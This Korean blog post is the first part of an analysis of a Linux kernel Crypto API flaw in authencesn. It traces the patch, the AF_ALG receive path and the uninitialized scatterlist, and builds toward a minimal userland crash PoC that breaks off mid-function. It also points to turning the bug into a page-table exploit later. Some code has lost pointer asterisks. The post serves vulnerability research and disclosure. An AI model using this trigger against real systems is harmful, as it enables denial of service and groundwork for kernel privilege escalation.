리눅스 커널 Crypto Module 취약점 — CVE-2026-23060 (Part 1)
리눅스 커널 Crypto Module 취약점 — CVE-2026-23060 (Part 1)
Linux Crypto API는 block cipher, AEAD, RNG, hash 같은 커널의 cryptographic primitive에 공통 인터페이스를 제공합니다. IPsec, dm-crypt, TLS 같은 커널 subsystem은 알고리즘별 내부 구현을 직접 다루지 않고 tfm 혹은 transform 객체를 통해 알고리즘과 상호작용합니다.
이 글은 Crypto API의 CVE-2026-23060을 다룹니다. 패치 커밋에서 출발해 userland에서 trigger가 성립하는 조건과 최종적으로 최소 PoC까지 구현해보도록 하겠습니다.
CVE-2026-23060
CVE-2026-23060은 crypto/authencesn.c에 있습니다. 해당 취약점의 발생 원인을 분석하기 위해 패치 커밋 메시지부터 분석하겠습니다.
crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec
authencesn assumes an ESP/ESN-formatted AAD. When assoclen is shorter than
the minimum expected length, crypto_authenc_esn_decrypt() can advance past
the end of the destination scatterlist and trigger a NULL pointer dereference
in scatterwalk_map_and_copy(), leading to a kernel panic (DoS).
Add a minimum AAD length check to fail fast on invalid inputs.
Fixes: 104880a6b470 ("crypto: authencesn - Convert to new AEAD interface")
Reported-By: Taeyang Lee <0wn@theori.io>
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
핵심은 authencesn이 AAD가 ESP/ESN 형식을 따른다고 가정한다는 점입니다. assoclen이 최소 길이보다 작아도 crypto_authenc_esn_decrypt()는 여전히 dst에 대해 고정된 8-byte ESN header shuffle을 수행합니다. 커밋 메시지는 이 결과를 destination scatterlist 끝을 넘어간 뒤 발생하는 NULL-pointer dereference로 설명합니다. 그러나 여기서 사용하는 AF_ALG 경로에서는 같은 invariant break가 outlen = 0인 receive path와 결합되면서 RX scatterlist가 초기화되지 않은 상태로 남습니다.
그럼 이제 해당 취약점이 어떻게 크래시를 트리거하고 Exploit으로 이어지는지 분석해 보겠습니다.
원인 분석
수정은 커밋 [2397e926](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2397e9264676be7794f8f7f1e9763d90bd3c7335)에서 확인할 수 있습니다.
diff --git a/crypto/authencesn.c b/crypto/authencesn.c
index d1bf0fda3f2ef..542a978663b9e 100644
--- a/crypto/authencesn.c
+++ b/crypto/authencesn.c
@@ -169,6 +169,9 @@ static int crypto_authenc_esn_encrypt(struct aead_request *req)
struct scatterlist src, dst;
int err;
+ if (assoclen < 8)
+ return -EINVAL;
+
sg_init_table(areq_ctx->src, 2);
src = scatterwalk_ffwd(areq_ctx->src, req->src, assoclen);
dst = src;
@@ -256,6 +259,9 @@ static int crypto_authenc_esn_decrypt(struct aead_request *req)
u32 tmp[2];
int err;
+ if (assoclen < 8)
+ return -EINVAL;
+
cryptlen -= authsize;
if (req->src != dst)
assoclen < 8 guard가 crypto_authenc_esn_encrypt()와 crypto_authenc_esn_decrypt() 양쪽에 추가됐습니다. 두 경로 모두 같은 invariant (AAD >= 8)를 전제로 하므로 root cause는 같습니다. 해당 글에선 decrypt 위주로 분석하겠습니다.
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
struct crypto_aead *authenc_esn = crypto_aead_reqtfm(req);
struct authenc_esn_request_ctx *areq_ctx = aead_request_ctx(req);
struct crypto_authenc_esn_ctx *ctx = crypto_aead_ctx(authenc_esn);
struct ahash_request ahreq = (void )(areq_ctx->tail + ctx->reqoff);
unsigned int authsize = crypto_aead_authsize(authenc_esn);
struct crypto_ahash *auth = ctx->auth;
u8 *ohash = areq_ctx->tail;
unsigned int assoclen = req->assoclen;
unsigned int cryptlen = req->cryptlen;
u8 *ihash = ohash + crypto_ahash_digestsize(auth);
struct scatterlist *dst = req->dst;
u32 tmp[2];
int err;
cryptlen -= authsize;
if (req->src != dst) {
err = crypto_authenc_esn_copy(req, assoclen + cryptlen);
if (err)
return err;
}
scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
authsize, 0);
if (!authsize)
goto tail;
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
sg_init_table(areq_ctx->dst, 2);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
ahash_request_set_tfm(ahreq, auth);
ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen);
ahash_request_set_callback(ahreq, aead_request_flags(req),
authenc_esn_verify_ahash_done, req);
err = crypto_ahash_digest(ahreq);
if (err)
return err;
tail:
return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req));
}
실제 크래시가 발생하는 부분은 scatterwalk_map_and_copy(tmp, dst, 0, 8, 0)입니다. 따라서 dst가 무엇을 가리키는지, 그리고 왜 여기서 크래시가 발생하는지 확인해야 합니다. 하지만 그 전에 분석에 필요한 몇 가지 배경 지식에 대해 짚고 넘어가겠습니다.
scatterlist
scatterlist는 여러 physical segment로 나뉜 버퍼를 커널에서 논리적으로 연속된 것처럼 표현할 때 사용하는 표준 자료구조입니다. input이나 output이 여러 page에 걸치거나 물리적으로 연속되지 않은 memory region에 흩어져 있을 때 crypto code는 이 구조를 사용합니다. 각 segment를 독립적으로 기술할 수 있어 DMA 관점에서도 다루기 편합니다.
struct scatterlist {
unsigned long page_link;
unsigned int offset;
unsigned int length;
dma_addr_t dma_address;
#ifdef CONFIG_NEED_SG_DMA_LENGTH
unsigned int dma_length;
#endif
#ifdef CONFIG_NEED_SG_DMA_FLAGS
unsigned int dma_flags;
#endif
};
- page_link: struct page *와 두 개의 low-bit flag를 함께 encode합니다. sg_page()는 flag bit를 걷어내고 실제 page pointer를 반환합니다.
- offset: 해당 page 내부의 byte offset입니다.
- length: 이 entry가 커버하는 byte 수입니다.
exploitation 관점에서 중요한 점은 scatterlist가 page pointer를 직접 보관한다는 것입니다. 이 필드를 attacker가 제어할 수 있게 되면, 이 버그는 Dirty Pagetable 같은 page-table oriented technique와 연결될 수 있습니다 (https://kuzey.rs/posts/Dirty_Page_Table/). 이 부분은 Part (2)에서 다룹니다.
ESP-ESN과 AAD 구조
이름 그대로 authencesn은 authenc + ESN입니다. IPsec ESP (Encapsulating Security Payload) security association에서 ESN (Extended Sequence Number, RFC 4304)이 켜져 있을 때 사용하는 AEAD wrapper이며, 구현은 caller가 IPsec stack이라고 가정합니다.
ESN 모드에서 authencesn에 전달되는 AAD 영역은 아래와 같습니다.
┌────────┬──────────┬──────────┬─────────────────┬──────────┐
│ SPI(4) │ SeqHi(4) │ SeqLo(4) │ payload (CT/PT) │ ICV │
└────────┴──────────┴──────────┴─────────────────┴──────────┘
│← AAD (assoclen = 12B) →│
- SPI(4B) + SeqHi(sequence number 상위 32bit, 4B) + SeqLo(하위 32bit, 4B)로 총 12B입니다. wire 상의 ESP header에는 SPI와 SeqLo만 존재하지만, ESN 모드에서는 SeqHi도 ICV 계산에 포함되도록 AAD에 포함됩니다.
- XFRM은 AAD를 [SPI][SeqHi][SeqLo] 순서로 crypto layer에 넘기고, authencesn은 이를 integrity calculation이 소비하는 순서인 [SPI][SeqLo][payload][SeqHi]로 재배열합니다. 구체적으로는 AAD 중간에 있던 SeqHi를 payload 뒤로 이동합니다.
이 rearrangement는 취약 함수의 93-95행에 있습니다.
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // (1) tmp[0..7] <- dst[0..7]
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // (2) dst[4..7] <- tmp[0..3]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // (3) dst[end..end+3] <- tmp[4..7]
- (1) dst의 처음 8 byte (SPI + SeqHi)를 tmp에 백업합니다.
- (2) dst의 4-7 byte를 SPI로 덮어써서, ahash input이 dst + 4에서 시작할 때 [SPI][SeqLo][...] 형태가 되게 합니다.
- (3) 백업한 SeqHi를 payload 뒤 (assoclen + cryptlen)에 붙여 최종 ahash input이 [SPI][SeqLo][payload][SeqHi] 형태가 되게 합니다.
핵심은 (1)이 항상 고정된 8 byte를 읽는다는 점입니다. 정상적인 IPsec/XFRM 경로에서는 assoclen >= 8이 보장되고 처음 8 byte가 실제로 [SPI][SeqHi]이므로 문제가 없습니다. 그러나 protocol invariant가 깨지는 순간 (assoclen < 8), authencesn은 여전히 dst[0..7]를 유효한 ESN AAD처럼 취급합니다. 아래에서 사용하는 AF_ALG trigger에서는 이 가정이 그대로 문제가 됩니다. 그 시점의 dst는 초기화되지 않은 RX scatterlist를 가리키기 때문입니다.
이제 scatterwalk_map_and_copy()의 동작을 분석해 보겠습니다.
void scatterwalk_map_and_copy(void buf, struct scatterlist sg,
unsigned int start, unsigned int nbytes, int out)
{
struct scatter_walk walk;
struct scatterlist tmp[2];
if (!nbytes)
return;
sg = scatterwalk_ffwd(tmp, sg, start);
scatterwalk_start(&walk, sg);
scatterwalk_copychunks(buf, &walk, nbytes, out);
scatterwalk_done(&walk, out, 0);
}
static inline void memcpy_dir(void buf, void sgdata, size_t nbytes, int out)
{
void *src = out ? buf : sgdata;
void *dst = out ? sgdata : buf;
memcpy(dst, src, nbytes);
/*
if (out == 0)
memcpy(buf, sgdata, nbytes);
else
memcpy(sgdata, buf, nbytes);
*/
}
void scatterwalk_copychunks(void buf, struct scatter_walk walk,
size_t nbytes, int out)
{
for (;;) {
unsigned int len_this_page = scatterwalk_pagelen(walk);
u8 *vaddr;
if (len_this_page > nbytes)
len_this_page = nbytes;
if (out != 2) {
vaddr = scatterwalk_map(walk);
memcpy_dir(buf, vaddr, len_this_page, out);
scatterwalk_unmap(vaddr);
}
scatterwalk_advance(walk, len_this_page);
if (nbytes == len_this_page)
break;
buf += len_this_page;
nbytes -= len_this_page;
scatterwalk_pagedone(walk, out & 1, 1);
}
}
scatterwalk_map_and_copy()는 방향성이 있는 copy helper입니다. out = 0이면 sg -> buf로 복사하고, out = 1이면 buf -> sg로 복사합니다. 따라서 여기의 세 호출은 아래 의미를 가집니다.
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // tmp[0..7] <- dst[0..7]
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst[4..7] <- tmp[0..3]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // dst[end..end+3] <- tmp[4..7]
이제 dst의 출처를 확인합니다. dst = req->dst이므로 req->dst가 설정되는 지점을 보면 됩니다.
static inline void aead_request_set_crypt(struct aead_request *req,
struct scatterlist *src,
struct scatterlist *dst,
unsigned int cryptlen, u8 *iv)
{
req->src = src;
req->dst = dst;
req->cryptlen = cryptlen;
req->iv = iv;
}
aead_request_set_crypt()는 _aead_recvmsg()에서 호출됩니다.
static int _aead_recvmsg(struct socket sock, struct msghdr msg,
size_t ignored, int flags)
{
/* Allocate cipher request for current operation. */
areq = af_alg_alloc_areq(sk, sizeof(struct af_alg_async_req) +
crypto_aead_reqsize(tfm)); // [1]
if (IS_ERR(areq))
return PTR_ERR(areq);
/* convert iovecs of output buffers into RX SGL */
err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); // [2]
...
...
/* Initialize the crypto operation */
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv); // [3]
aead_request_set_ad(&areq->cra_u.aead_req, ctx->aead_assoclen);
aead_request_set_tfm(&areq->cra_u.aead_req, tfm);
...
}
즉 req->dst = areq->first_rsgl.sgl.sgt.sgl ([3])입니다. areq는 af_alg_alloc_areq() 내부의 sock_kmalloc()으로 할당되고 ([1]), 그 안의 first_rsgl은 af_alg_get_rsgl()이 채웁니다 ([2]).
int af_alg_get_rsgl(struct sock sk, struct msghdr msg, int flags,
struct af_alg_async_req *areq, size_t maxsize,
size_t *outlen)
{
struct alg_sock *ask = alg_sk(sk);
struct af_alg_ctx *ctx = ask->private;
size_t len = 0;
while (maxsize > len && msg_data_left(msg)) { // [1]
struct af_alg_rsgl *rsgl;
ssize_t err;
size_t seglen;
/* limit the amount of readable buffers */
if (!af_alg_readable(sk))
break;
seglen = min_t(size_t, (maxsize - len),
msg_data_left(msg));
if (list_empty(&areq->rsgl_list)) {
rsgl = &areq->first_rsgl;
} else {
rsgl = sock_kmalloc(sk, sizeof(*rsgl), GFP_KERNEL);
if (unlikely(!rsgl))
return -ENOMEM;
}
rsgl->sgl.need_unpin =
iov_iter_extract_will_pin(&msg->msg_iter);
rsgl->sgl.sgt.sgl = rsgl->sgl.sgl;
rsgl->sgl.sgt.nents = 0;
rsgl->sgl.sgt.orig_nents = 0;
list_add_tail(&rsgl->list, &areq->rsgl_list);
sg_init_table(rsgl->sgl.sgt.sgl, ALG_MAX_PAGES);
err = extract_iter_to_sg(&msg->msg_iter, seglen, &rsgl->sgl.sgt,
ALG_MAX_PAGES, 0);
if (err < 0) {
rsgl->sg_num_bytes = 0;
return err;
}
sg_mark_end(rsgl->sgl.sgt.sgl + rsgl->sgl.sgt.nents - 1);
/* chain the new scatterlist with previous one */
if (areq->last_rsgl)
af_alg_link_sg(&areq->last_rsgl->sgl, &rsgl->sgl);
areq->last_rsgl = rsgl;
len += err;
atomic_add(err, &ctx->rcvused);
rsgl->sg_num_bytes = err;
}
*outlen = len;
return 0;
}
여기서부터 AF_ALG의 조건이 중요합니다. maxsize가 0이면 loop 조건 maxsize > len이 첫 반복부터 false가 되므로 body가 실행되지 않습니다 ([1]).
즉 sg_init_table()과 extract_iter_to_sg()가 호출되지 않습니다. 결과적으로 first_rsgl.sgl.sgl[] 안의 page_link, offset, length 필드는 초기화되지 않은 채 남습니다. af_alg_alloc_areq() 뒤의 실제 할당을 담당하는 sock_kmalloc()은 __GFP_ZERO를 사용하지 않으므로, slab에 이전에 남아 있는 쓰레기 값이 남아 있게 됩니다.
이후 req->dst를 통해 이 초기화되지 않은 scatterlist를 walk하면 scatterwalk_map()은 결국 kmap_local_page(sg_page(sg))까지 내려가고, 여기서 garbage page pointer를 역참조합니다. 이어지는 memcpy는 잘못된 virtual address를 건드리게 되며, 크래시가 발생하게 됩니다.
다음으로 maxsize의 출처를 확인해 보면 _aead_recvmsg()에서 이 값은 outlen입니다.
static int _aead_recvmsg(struct socket sock, struct msghdr msg,
size_t ignored, int flags)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sock *psk = ask->parent;
struct alg_sock *pask = alg_sk(psk);
struct af_alg_ctx *ctx = ask->private;
struct aead_tfm *aeadc = pask->private;
struct crypto_aead *tfm = aeadc->aead;
struct crypto_sync_skcipher *null_tfm = aeadc->null_tfm;
unsigned int i, as = crypto_aead_authsize(tfm);
struct af_alg_async_req *areq;
struct af_alg_tsgl tsgl, tmp;
struct scatterlist rsgl_src, tsgl_src = NULL;
int err = 0;
size_t used = 0; /* [in] TX bufs to be en/decrypted */
size_t outlen = 0; /* [out] RX bufs produced by kernel */
size_t usedpages = 0; /* [in] RX bufs to be used from user */
size_t processed = 0; /* [in] TX bufs to be consumed */
if (!ctx->init || ctx->more) {
err = af_alg_wait_for_data(sk, flags, 0);
if (err)
return err;
}
used = ctx->used;
if (!aead_sufficient_data(sk))
return -EINVAL;
if (ctx->enc)
outlen = used + as;
else
outlen = used - as;
used -= ctx->aead_assoclen;
areq = af_alg_alloc_areq(sk, sizeof(struct af_alg_async_req) +
crypto_aead_reqsize(tfm));
if (IS_ERR(areq))
return PTR_ERR(areq);
err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages);
...
}
여기서 maxsize는 outlen이며, decrypt 경로에서는 outlen = used - as가 됩니다. used와 as는 모두 사용자 제어값이므로 used == as를 만들면 outlen = 0을 강제로 만들 수 있습니다. 다만 제약이 하나 더 있습니다. aead_sufficient_data()가 used >= ctx->aead_assoclen + as를 검사하므로 used == as가 허용되려면 ctx->aead_assoclen == 0이어야 합니다.
PoC
assoclen = 0을 유지한 상태에서 used == as를 만들고 _aead_recvmsg()를 호출하면 취약점을 트리거할 수 있습니다. 남은 것은 사용자 공간에서 해당 코드를 어떻게 트리거하는지와 used, as를 어떻게 맞추는지입니다.
Crypto API는 user space에 AF_ALG socket family로 노출됩니다. 가장 단순한 AEAD 예시는 아래와 같습니다.
#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
#define ALG_OP_ENCRYPT 1
#endif
struct sockaddr_alg {
uint16_t salg_family;
uint8_t salg_type[14];
uint32_t salg_feat;
uint32_t salg_mask;
uint8_t salg_name[64];
};
struct af_alg_iv {
uint32_t ivlen;
uint8_t iv[];
};
static void dump(const char label, const uint8_t buf, size_t n)
{
printf("%s (%zu):", label, n);
for (size_t i = 0; i < n; i++) printf(" %02x", buf[i]);
putchar('\n');
}
int main(void)
{
struct sockaddr_alg sa = {0};
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 4);
memcpy(sa.salg_name, "gcm(aes)", 8);
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[16] = {
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
};
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int opfd = accept(tfmfd, NULL, NULL);
close(tfmfd);
uint8_t aad[8] = { 'H','E','A','D','E','R','!','!' };
uint8_t pt[16] = { 'h','e','l','l','o',' ','w','o','r','l','d','!','!','!','!','!' };
uint8_t iv[12] = {
0x10,0x11,0x12,0x13,0x14,0x15,
0x16,0x17,0x18,0x19,0x1a,0x1b,
};
uint8_t input[sizeof(aad) + sizeof(pt)];
memcpy(input, aad, sizeof(aad));
memcpy(input + sizeof(aad), pt, sizeof(pt));
uint8_t ctrl[CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(struct af_alg_iv) + 12)] = {0};
struct iovec iov = { .iov_base = input, .iov_len = sizeof(input) };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = ctrl,
.msg_controllen = sizeof(ctrl),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
(uint32_t )CMSG_DATA(cmsg) = ALG_OP_ENCRYPT;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
(uint32_t )CMSG_DATA(cmsg) = sizeof(aad);
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 12);
struct af_alg_iv iv_cmsg = (struct af_alg_iv )CMSG_DATA(cmsg);
iv_cmsg->ivlen = 12;
memcpy(iv_cmsg->iv, iv, 12);
ssize_t sent = sendmsg(opfd, &msg, 0);
if (sent < 0) { perror("sendmsg"); return 1; }
uint8_t out[sizeof(aad) + sizeof(pt) + 16];
ssize_t got = recv(opfd, out, sizeof(out), 0);
if (got < 0) { perror("recv"); return 1; }
dump("key ", key, sizeof(key));
dump("iv ", iv, sizeof(iv));
dump("aad ", aad, sizeof(aad));
dump("plaintext ", pt, sizeof(pt));
dump("out ", out, (size_t)got);
dump(" aad ", out, sizeof(aad));
dump(" ct ", out + sizeof(aad), sizeof(pt));
dump(" tag ", out + sizeof(aad) + sizeof(pt), 16);
close(opfd);
return 0;
}
❯ ./example
key (16): 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
iv (12): 10 11 12 13 14 15 16 17 18 19 1a 1b
aad (8): 48 45 41 44 45 52 21 21
plaintext (16): 68 65 6c 6c 6f 20 77 6f 72 6c 64 21 21 21 21 21
out (40): 48 45 41 44 45 52 21 21 ac 4b 6f c3 60 6f c1 80 65 b1 39 d4 e6 06 ca 1f 0e 85 ee 68 27 5e 1a 9b 74 ee 26 94 ac 38 2f 99
aad (8): 48 45 41 44 45 52 21 21
ct (16): ac 4b 6f c3 60 6f c1 80 65 b1 39 d4 e6 06 ca 1f
tag (16): 0e 85 ee 68 27 5e 1a 9b 74 ee 26 94 ac 38 2f 99
설정 순서는 다음과 같습니다.
- socket(AF_ALG, SOCK_SEQPACKET, 0)로 algorithm socket tfmfd)를 만듭니다.
- bind()로 사용할 알고리즘 "aead" + "gcm(aes)" 등)을 선택하고 tfm을 생성합니다.
- setsockopt(ALG_SET_KEY / ALG_SET_AEAD_AUTHSIZE, ...)로 key와 tag size를 설정합니다.
- accept(tfmfd)는 이후 sendmsg()와 recvmsg()에 사용할 operation socket opfd)를 반환합니다.
receive 경로에서는 recvmsg(opfd, ...)가 algif_aead_ops.recvmsg = aead_recvmsg를 통해 디스패치되고 다시 _aead_recvmsg()로 들어갑니다. 이후 남는 것은 used == as를 맞추는 일뿐입니다.
아래 crash PoC는 이런 control message 대부분을 의도적으로 생략합니다. accept() 이후 algif_aead는 struct af_alg_ctx와 IV buffer를 0으로 초기화하므로, 이후 sendmsg() CMSG가 이를 덮어쓰지 않으면 child socket은 assoclen = 0 으로 설정됩니다.
as 설정
as는 crypto_aead_authsize(tfm)의 반환값입니다.
static inline unsigned int crypto_aead_authsize(struct crypto_aead *tfm)
{
return tfm->authsize;
}
tfm->authsize는 crypto_aead_setauthsize()에서 기록됩니다.
int crypto_aead_setauthsize(struct crypto_aead *tfm, unsigned int authsize)
{
int err;
if ((!authsize && crypto_aead_maxauthsize(tfm)) ||
authsize > crypto_aead_maxauthsize(tfm))
return -EINVAL;
if (crypto_aead_alg(tfm)->setauthsize) {
err = crypto_aead_alg(tfm)->setauthsize(tfm, authsize);
if (err)
return err;
}
tfm->authsize = authsize;
return 0;
}
이 함수는 다시 aead_setauthsize()에서 호출됩니다.
static int aead_setauthsize(void *private, unsigned int authsize)
{
struct aead_tfm *tfm = private;
return crypto_aead_setauthsize(tfm->aead, authsize);
}
그리고 aead_setauthsize()는 alg_setsockopt()의 ALG_SET_AEAD_AUTHSIZE case를 통해 도달합니다. 즉 이 체인의 entry point는 사용자 공간의 setsockopt() 호출입니다.
static int alg_setsockopt(struct socket *sock, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
...
switch (optname) {
...
case ALG_SET_AEAD_AUTHSIZE:
if (sock->state == SS_CONNECTED)
goto unlock;
if (!type->setauthsize)
goto unlock;
err = type->setauthsize(ask->private, optlen);
break;
...
}
}
int do_sock_setsockopt(struct socket *sock, bool compat, int level,
int optname, sockptr_t optval, int optlen)
{
const struct proto_ops *ops;
char *kernel_optval = NULL;
int err;
if (optlen < 0)
return -EINVAL;
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;
if (!compat)
err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
optval, &optlen,
&kernel_optval);
if (err < 0)
goto out_put;
if (err > 0) {
err = 0;
goto out_put;
}
if (kernel_optval)
optval = KERNEL_SOCKPTR(kernel_optval);
ops = READ_ONCE(sock->ops);
if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
err = sock_setsockopt(sock, level, optname, optval, optlen);
else if (unlikely(!ops->setsockopt))
err = -EOPNOTSUPP;
else
err = ops->setsockopt(sock, level, optname, optval,
optlen); // call alg_setsockopt
kfree(kernel_optval);
out_put:
return err;
}
call chain을 따라 올라가면 setsockopt()의 optlen 인자가 그대로 authsize로 사용되고, optval은 읽히지 않습니다. 따라서 user space에서는 ALG_SET_AEAD_AUTHSIZE 한 번으로 as = 16을 만들 수 있습니다.
uint8_t key[8 + 20 + 16] = {0};
key[0] = 0x08;
key[2] = 0x01;
(uint32_t )(key + 4) = htonl(16);
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16); // set as = 16
used 설정
used는 ctx->used 값이며, af_alg_sendmsg() 내부에서 누적됩니다.
int af_alg_sendmsg(struct socket sock, struct msghdr msg, size_t size,
unsigned int ivsize)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct af_alg_ctx *ctx = ask->private;
struct af_alg_tsgl *sgl;
struct af_alg_control con = {};
long copied = 0;
bool enc = false;
bool init = false;
int err = 0;
...
while (size) {
struct scatterlist *sg;
size_t len = size;
ssize_t plen;
/* use the existing memory in an allocated page */
if (ctx->merge && !(msg->msg_flags & MSG_SPLICE_PAGES)) {
sgl = list_entry(ctx->tsgl_list.prev,
struct af_alg_tsgl, list);
sg = sgl->sg + sgl->cur - 1;
len = min_t(size_t, len,
PAGE_SIZE - sg->offset - sg->length);
err = memcpy_from_msg(page_address(sg_page(sg)) +
sg->offset + sg->length,
msg, len);
if (err)
goto unlock;
sg->length += len;
ctx->merge = (sg->offset + sg->length) &
(PAGE_SIZE - 1);
ctx->used += len; // set ctx->used
copied += len;
size -= len;
continue;
}
...
}
err = 0;
ctx->more = msg->msg_flags & MSG_MORE;
unlock:
af_alg_data_wakeup(sk);
ctx->write = false;
release_sock(sk);
return copied ?: err;
}
size 인자는 len 단위로 소비되면서 ctx->used에 누적됩니다. af_alg_sendmsg()는 algif_aead_ops.sendmsg로 등록된 aead_sendmsg()를 통해 호출됩니다. user space 기준 경로는 sock_sendmsg() → sock->ops->sendmsg(sock, msg, size) → aead_sendmsg() → af_alg_sendmsg()입니다. 이 경로로 들어오는 size는 msg_data_left(msg) = iov_iter_count(&msg->msg_iter), 즉 **메시지 안에 있는 모든 iov_len의 합**입니다. 따라서 16-byte iovec 하나를 보내면 ctx->used = 16이 됩니다.
static int __sock_sendmsg(struct socket sock, struct msghdr msg)
{
int err = security_socket_sendmsg(sock, msg,
msg_data_left(msg));
return err ?: sock_sendmsg_nosec(sock, msg);
}
static struct proto_ops algif_aead_ops = {
.family = PF_ALG,
.connect = sock_no_connect,
.socketpair = sock_no_socketpair,
.getname = sock_no_getname,
.ioctl = sock_no_ioctl,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.mmap = sock_no_mmap,
.bind = sock_no_bind,
.accept = sock_no_accept,
.release = af_alg_release,
.sendmsg = aead_sendmsg,
.recvmsg = aead_recvmsg,
.poll = af_alg_poll,
};
static int aead_sendmsg(struct socket sock, struct msghdr msg, size_t size)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sock *psk = ask->parent;
struct alg_sock *pask = alg_sk(psk);
struct aead_tfm *aeadc = pask->private;
struct crypto_aead *tfm = aeadc->aead;
unsigned int ivsize = crypto_aead_ivsize(tfm);
return af_alg_sendmsg(sock, msg, size, ivsize);
}
즉 16-byte iovec 하나를 가진 sendmsg() 한 번이면 충분합니다.
uint8_t input[16] = {0};
struct iovec iov = { .iov_base = input, .iov_len = 16 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(opfd, &msg, 0); // used = 16
최종 PoC
여기까지 오면 trigger는 아래와 같이 줄일 수 있습니다.
- ALG_SET_AEAD_AUTHSIZE로 as = 16을 만듭니다.
- 16-byte iovec 하나를 담은 sendmsg()로 used = 16을 만듭니다.
- 의도적으로 ALG_SET_AEAD_ASSOCLEN과 ALG_SET_OP는 보내지 않습니다. 그러면 accept된 child socket은 assoclen = 0인 decrypt mode가 됩니다.
- 이후 recv()는 _aead_recvmsg()로 들어가고, 이때 used = as이므로 outlen = 0이 되어 RX SGL이 초기화되지 않은 상태로 crypto_authenc_esn_decrypt()가 dst[0..7]를 읽게 됩니다.
최종 PoC는 다음과 같습니다.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
struct sockaddr_alg {
uint16_t salg_family;
uint8_t salg_type[14];
uint32_t salg_feat;
uint32_t salg_mask;
uint8_t salg_name[64];
};
int main(void)
{
struct sockaddr_alg sa = {0};
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 4);
memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", 33);
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[8 + 20 + 16] = {0};
key[0] = 0x08;
key[2] = 0x01;
(uint32_t )(key + 4) = htonl(16);
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int opfd = accept(tfmfd, NULL, NULL);
uint8_t input[16] = {0};
